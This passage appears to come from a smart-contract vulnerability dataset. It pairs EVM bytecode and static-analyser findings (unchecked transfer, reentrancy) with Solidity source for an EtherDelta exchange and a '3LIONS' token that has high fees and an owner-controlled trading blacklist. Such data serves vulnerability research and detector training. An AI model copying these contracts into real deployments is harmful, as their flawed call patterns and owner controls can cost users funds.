1ffce3041c0eb15309837d180f8bfff26a611e5d670de0b6b3a7640000611e4f600c548f61249f90919063ffffffff16565b6124ce90919063ffffffff16565b6040518082815260200191505060405180910390a3611ec489600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246c90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f1cf61c47afdbcfdedf1a1d5d009707fce7460c2bd1eac2bedb5c743a3ce48af48b6040518082815260200191505060405180910390a25098975050505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fbd57600080fd5b81600c8190555060019050919050565b600b5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461202b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561206557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60046020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461219557600080fd5b8160098190555060019050919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156124685773e63d7a762ef855114dc45c94e66365d163b3e5f673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561227757600080fd5b505af115801561228b573d6000803e3d6000fd5b505050506040513d60208110156122a157600080fd5b8101908080519060200190929190505050612324576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61237681600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246c90919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061241381600b5461246c90919063ffffffff16565b600b819055508173ffffffffffffffffffffffffffffffffffffffff167f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130826040518082815260200191505060405180910390a25b5050565b60008082840190508381101561247e57fe5b8091505092915050565b60008282111561249457fe5b818303905092915050565b600080828402905060008414806124be5750828482816124bb57fe5b04145b6124c457fe5b8091505092915050565b6000808284816124da57fe5b049050809150509291505056fe43616e6e6f742070726564696374206174207468652074696d65206f6620726573756c74a2646970667358221220ed208655542dd6d2958fd73354f3b51e498f654ebcc612f67a7ce78a5ba4a3f364736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,280 |
0xa224496d1295a3392005d6d78494ff8b92aaaea2
|
pragma solidity ^0.4.9;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) throw;
}
}
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint public decimals;
string public name;
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
//if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ReserveToken is StandardToken, SafeMath {
address public minter;
function ReserveToken() {
minter = msg.sender;
}
function create(address account, uint amount) {
if (msg.sender != minter) throw;
balances[account] = safeAdd(balances[account], amount);
totalSupply = safeAdd(totalSupply, amount);
}
function destroy(address account, uint amount) {
if (msg.sender != minter) throw;
if (balances[account] < amount) throw;
balances[account] = safeSub(balances[account], amount);
totalSupply = safeSub(totalSupply, amount);
}
}
contract AccountLevels {
//given a user, returns an account level
//0 = regular user (pays take fee and make fee)
//1 = market maker silver (pays take fee, no make fee, gets rebate)
//2 = market maker gold (pays take fee, no make fee, gets entire counterparty's take fee as rebate)
function accountLevel(address user) constant returns(uint) {}
}
contract AccountLevelsTest is AccountLevels {
mapping (address => uint) public accountLevels;
function setAccountLevel(address user, uint level) {
accountLevels[user] = level;
}
function accountLevel(address user) constant returns(uint) {
return accountLevels[user];
}
}
contract EtherDelta is SafeMath {
address public admin; //the admin address
address public feeAccount; //the account that will receive fees
address public accountLevelsAddr; //the address of the AccountLevels contract
uint public feeMake; //percentage times (1 ether)
uint public feeTake; //percentage times (1 ether)
uint public feeRebate; //percentage times (1 ether)
mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether)
mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature)
mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled)
event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
function EtherDelta(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) {
admin = admin_;
feeAccount = feeAccount_;
accountLevelsAddr = accountLevelsAddr_;
feeMake = feeMake_;
feeTake = feeTake_;
feeRebate = feeRebate_;
}
function() {
throw;
}
function changeAdmin(address admin_) {
if (msg.sender != admin) throw;
admin = admin_;
}
function changeAccountLevelsAddr(address accountLevelsAddr_) {
if (msg.sender != admin) throw;
accountLevelsAddr = accountLevelsAddr_;
}
function changeFeeAccount(address feeAccount_) {
if (msg.sender != admin) throw;
feeAccount = feeAccount_;
}
function changeFeeMake(uint feeMake_) {
if (msg.sender != admin) throw;
if (feeMake_ > feeMake) throw;
feeMake = feeMake_;
}
function changeFeeTake(uint feeTake_) {
if (msg.sender != admin) throw;
if (feeTake_ > feeTake || feeTake_ < feeRebate) throw;
feeTake = feeTake_;
}
function changeFeeRebate(uint feeRebate_) {
if (msg.sender != admin) throw;
if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw;
feeRebate = feeRebate_;
}
function deposit() payable {
tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value);
Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
function withdraw(uint amount) {
if (tokens[0][msg.sender] < amount) throw;
tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount);
if (!msg.sender.call.value(amount)()) throw;
Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
function depositToken(address token, uint amount) {
//remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.
if (token==0) throw;
if (!Token(token).transferFrom(msg.sender, this, amount)) throw;
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
}
function withdrawToken(address token, uint amount) {
if (token==0) throw;
if (tokens[token][msg.sender] < amount) throw;
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
if (!Token(token).transfer(msg.sender, amount)) throw;
Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) constant returns (uint) {
return tokens[token][user];
}
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
orders[msg.sender][hash] = true;
Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);
}
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) {
//amount is in amountGet terms
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires &&
safeAdd(orderFills[user][hash], amount) <= amountGet
)) throw;
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = safeAdd(orderFills[user][hash], amount);
Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
}
function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether);
uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether);
uint feeRebateXfer = 0;
if (accountLevelsAddr != 0x0) {
uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user);
if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether);
if (accountLevel==2) feeRebateXfer = feeTakeXfer;
}
tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer));
tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer));
tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer));
tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet);
tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet);
}
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) {
if (!(
tokens[tokenGet][sender] >= amount &&
availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
)) return false;
return true;
}
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires
)) return 0;
uint available1 = safeSub(amountGet, orderFills[user][hash]);
uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive;
if (available1<available2) return available1;
return available2;
}
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
return orderFills[user][hash];
}
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw;
orderFills[msg.sender][hash] = amountGet;
Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
}
|
0x60806040526004361061008e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610093578063095ea7b31461012357806318160ddd1461018857806323b872dd146101b3578063313ce5671461023857806370a0823114610263578063a9059cbb146102ba578063dd62ed3e1461031f575b600080fd5b34801561009f57600080fd5b506100a8610396565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100e85780820151818401526020810190506100cd565b50505050905090810190601f1680156101155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561012f57600080fd5b5061016e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610434565b604051808215151515815260200191505060405180910390f35b34801561019457600080fd5b5061019d61043c565b6040518082815260200191505060405180910390f35b3480156101bf57600080fd5b5061021e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610441565b604051808215151515815260200191505060405180910390f35b34801561024457600080fd5b5061024d61044a565b6040518082815260200191505060405180910390f35b34801561026f57600080fd5b506102a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610450565b6040518082815260200191505060405180910390f35b3480156102c657600080fd5b50610305600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610457565b604051808215151515815260200191505060405180910390f35b34801561032b57600080fd5b50610380600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061045f565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561042c5780601f106104015761010080835404028352916020019161042c565b820191906000526020600020905b81548152906001019060200180831161040f57829003601f168201915b505050505081565b600092915050565b600090565b60009392505050565b60005481565b6000919050565b600092915050565b6000929150505600a165627a7a723058201eb8d361616a86a9875dd5d7ee24c3f57e1d56836d9f22df7e50c2103fa6e9950029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,281 |
0x600ab64ec5a8faab87e7b38eaa9221544679b9e5
|
/**
*Submitted for verification at Etherscan.io on 2021-07-03
*/
/*
3LIONS
https://t.me/Thr33Lions
It's coming home
It's coming home
It's coming
Football's coming home
Half of the fees collected will be airdropped to random holders every day.
fairlaunch there is no team token and no presale.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Three_Lions is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 2000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Three_Lion";
string private constant _symbol = '3LIONS';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 20;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ef3565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a16565b61045e565b6040516101789190612ed8565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613095565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129c7565b61048d565b6040516101e09190612ed8565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612939565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061310a565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a93565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612939565b610783565b6040516102b19190613095565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e0a565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ef3565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a16565b61098d565b60405161035b9190612ed8565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a52565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ae5565b6110d2565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061298b565b61121b565b6040516104189190613095565b60405180910390f35b60606040518060400160405280600a81526020017f54687265655f4c696f6e00000000000000000000000000000000000000000000815250905090565b600061047261046b6112a2565b84846112aa565b6001905092915050565b6000686c6b935b8bbd400000905090565b600061049a848484611475565b61055b846104a66112a2565b610556856040518060600160405280602881526020016137ce60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673fffffffffff